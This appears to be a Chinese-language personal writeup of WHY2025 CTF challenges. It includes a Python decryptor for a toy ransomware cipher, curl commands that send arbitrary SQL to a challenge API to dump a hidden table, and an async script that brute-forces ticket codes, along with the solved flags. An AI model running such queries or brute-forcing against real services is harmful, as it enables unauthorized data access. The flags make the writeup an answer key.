2051 words
10 minutes
WHY2025 CTF
2025-08-12
2025-08-14

這次的比賽介面好花啊,不喜歡 xd

alt text

而且我到第二天才知道可以切到這種比較好找題目的介面 www

有幾題想要結束後去翻一下電神們的 writeup,稍微紀錄一下不然又忘了:BitLockedTZe-611 (藍芽的 log,跟這些協定還不熟 QQ)、Shoe Shop 2.0 (對這題網址的加密方式還沒有想法)、Bonito Blog (我有通靈到 /blog/1337 ,但是就沒有然後了 QQ)、ColoredBlocks (跟 NaviLens 有關)、Festivals (graphql)


這是戰隊第一次一起打比賽!
隊友們請多指教 ♡
我盡量進步快一點嗚嗚

主辦方還有國家單獨顯示的功能ㄟ超酷


WHY2025 CTF#

Forensics#

ToShredsYouSay (100)#

這一題會拿到一個看起來像是被撕碎的 A4 紙,拚起來應該就能得到一定的資訊

要說這題的難度在哪裡嘛,應該是 凌晨一點翻到這一題但是覺得用平板切紙條很麻煩所以跑一趟全家影印吧,剩下沒難度
先把有圖的地方拼起來,會發現中間有斜斜的 flag,接下來沒有圖的地方就按照 flag 的高度,或是左右文字的邊去做排序就好了

(背景忽略一下,我拿筆電當高級托盤 xd)

總之就拿到 flag 了

flag{dd0755b73e4b7dfd0e06f927874e1511}

Net#

Ransomware attack (50)#

從封包裡面拿到加密的原始碼,以及被加密後的文字

在還沒看程式碼之前還在想可不可以用線上的 decoder 去解就好,嗯,當然不行

encryptur.py 把檔案以每 10 字元為一組,對第 1 組做向右位移 1、第 2 組向右位移 2、第 3 組 向右位移 3……以此類推(超過 25 後 % 26)。而且只會對小寫英文字母 a–z 做位移,其他字元不變。
所以只要對每組做「向左位移相同數量」就能還原原文。

然後當然是,給 chatgpt 生 script 我超級懶惰

import sys
alphabet = 'abcdefghijklmnopqrstuvwxyz'
def shift_chars(text, pos):
out = ""
for letter in text:
if letter in alphabet:
letter_pos = (alphabet.find(letter) + pos) % 26
out += alphabet[letter_pos]
else:
out += letter
return out
def decrypt_text(encrypted):
decrypted = ""
counter = 0
for i in range(0, len(encrypted), 10):
counter = (counter + 1) % 26
undo_pos = (-counter) % 26
decrypted += shift_chars(encrypted[i:i+10], undo_pos)
return decrypted
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <encrypted-filename>")
sys.exit(1)
infile = sys.argv[1]
outfile = infile + ".decrypted"
with open(infile, "r", encoding="utf-8", errors="replace") as f:
data = f.read()
dec = decrypt_text(data)
with open(outfile, "w", encoding="utf-8") as f:
f.write(dec)
print(f"Decrypted -> {outfile}")
if __name__ == "__main__":
main()

接著用寫好的 python 去解密就可以得到原本的檔案了

Terminal window
python decrypt_encryptur.py important_file.txt.encrypted

打開檔案就能看到 flag

flag{ad1c53bf1e00a9239d29edaadcda2964}

Web#

Planets (50)#

這是開賽的時候看的第一題,星球太多了不知道開哪一顆,先隨便看看

這一題可以在 source code 看到可以做 sql 查詢的地方

先確認一下具體有哪些 table

Terminal window
curl -X POST "https://planets.ctf.zone/api.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "query=SELECT table_name FROM information_schema.tables WHERE table_schema=database()"

發現了一個多的 table abandoned_planets,把 table 裡面的東西都先撈出來

Terminal window
curl -X POST "https://planets.ctf.zone/api.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "query=SELECT * FROM abandoned_planets"

就看到 flag 了

啊但是,解太慢,隊友寫掉了嘿嘿,沒注意 xd

WHY2025 CTF TIMES (50)#

一進去網站會有很多彈出視窗,我剛開始還在懷疑是不是跟 cookie 有關

後來在 source code 那邊看到混淆過的 JavaScript,拿去 JavaScript Deobfuscator 解混淆

就能在程式碼裡面找到 flag

flag{2d582cd42552e765d2658a14a0a25755}

Buster (50)#

星期六下午去 COSCUP 聽鯨魚的課,他有提到一些掃網頁目錄的工具,這不剛好就有可以練習的題目嗎 xddd

題目說這一題要用 DirBuster,既然都指定了,那就不客氣了 xd,直接掃下去

掃描到後面發現要一直手動跳過很麻煩,不如把目前掃到最長的目錄作為新目錄重新開始掃

一直重複到 https://buster.ctf.zone:443/flag_de/ca/3b/962/fc3/16/a6/d6/9/a7/e/0/c/2/c/33/c/7/fa/ 的時候,發現過比較久都沒有掃到新目錄,推測應該 flag 都出現得差不多了

直接把現有的 flag 貼到 input 裡面就好了~

flag{deca3b962fc316a6d69a7e0c2c33c7fa}

Misc#

Twenty Three Drivers (50)#

題目有提到有三組 23D8BG / 23DAL2 / 23DR0S 可以領票的代號都被用過了,推測這些代號應該都是固定 23D 開頭,並且後面是大寫字母與數字組成的 3 個字元,可以 brute force 一下

script 就 chatgpt 拜託了~

import aiohttp
import asyncio
import string
import itertools
url = "https://23drivers.ctf.zone/"
charset = string.ascii_uppercase + string.digits
tested_count = 0
total_combos = len(charset) ** 3
async def check_code(session, code):
    global tested_count
    async with session.post(url, data={"secret_code": code}) as r:
        content_type = r.headers.get("Content-Type", "")
        raw_data = await r.read()
        tested_count += 1
        print(f"[進度] {tested_count}/{total_combos} 測試 {code}", end="\r")
        try:
            text = raw_data.decode('utf-8')
        except UnicodeDecodeError:
            text = ""
        if "already used" not in text and "Unknown code!" not in text:
            print(f"\n[可能有效] {code}")
            print(f"[Content-Type] {content_type}")
            if text:
                print(f"[Text preview] {text[:100]}")
            else:
                print(f"[Binary data preview] {raw_data[:20]}")
            return code
    return None
async def main():
    async with aiohttp.ClientSession() as session:
        tasks = []
        for combo in itertools.product(charset, repeat=3):
            code = "23D" + "".join(combo)
            tasks.append(asyncio.create_task(check_code(session, code)))
            if len(tasks) >= 50:
                results = await asyncio.gather(*tasks)
                for result in results:
                    if result:
                        print("\n[找到有效代碼] 停止搜尋")
                        return
                tasks.clear()
        if tasks:
            await asyncio.gather(*tasks)
asyncio.run(main())

找到一個 23DF2W,回傳回來的好像是圖檔

實際輸入到 input 裡面再按下 Check Code,就拿到票了 xddd

我把 qrcode 拿去給 google 掃,就得到 flag 了

flag{5c2eb61a39c2528008508b687d0af328}

Reverse#

Keypad (100)#

啊,這題可難解釋了 www,我是經過上學期數位電路實驗扛了期末專題報告整合以及收尾的任務,才能很快 get 到出題者大概要我們幹嘛

首先會拿到一個 Keypad.sal 的檔案,之前還沒看過這種檔案類型,用 Logic 2 開一下,會得到很多類似訊號的東西

然後資料夾裡面還有兩張圖片,分別是密碼盤的對應訊號,以及密碼盤每個按鍵可以代表的數字與英文字母 (只截出圖片的重點) 從對應訊號的圖片裡可以知道,當每一個按鍵被按下,就會有兩個訊號產生變化,舉例:當按鍵 1 被按下,就會影響到 d1 以及 d4。

再回去看訊號的圖,會發現最一開始是快速的三次 d3 以及 d4 訊號改變

經過數位邏輯實驗這門課之後,知道有些元件是觸發會從 0 -> 1,但也有一些原本訊號就是 1 ,直到被按下才會從 1 -> 0。 那已知一個按鍵被按下時,會有兩個訊號產生變化,再去根據圖做推論,可以知道訊號 d1 ~ d3 是被按下後才會產生訊號波形改變
(由於非專攻硬體領域,這部份著重於解題思路,相關細節僅作簡要推測,可能略顯抽象 🙏)

然後 d4 ~ d7 這部分被按下的時候會出現這種很短的波型

那由此判斷得知一開始被按下的是由 d3 以及 d4 訊號共同代表的按鍵 3,但是快速出現三下,個人推斷是對應到按鍵 3 上面的英文字母 F,依照這個邏輯,可以由前幾個波形推出 FLAG*,並且最後一個波形推出的也是 *,得出 * 可以代表 flag 的 {}

並且後續的波形都沒有連續重複的部分,不知道是單純指數字按鍵還是有混到按鍵代表的第一個字母,這目前沒有辦法推出來,所以就先單純當作數字去碰碰運氣,再輸入到 input 試試看,結果這就是 flag 了,那是運氣相當好 xddd

flag{26841690753139726481256783695801}


哇,寫完了
休息~
下次 CTF 見 xd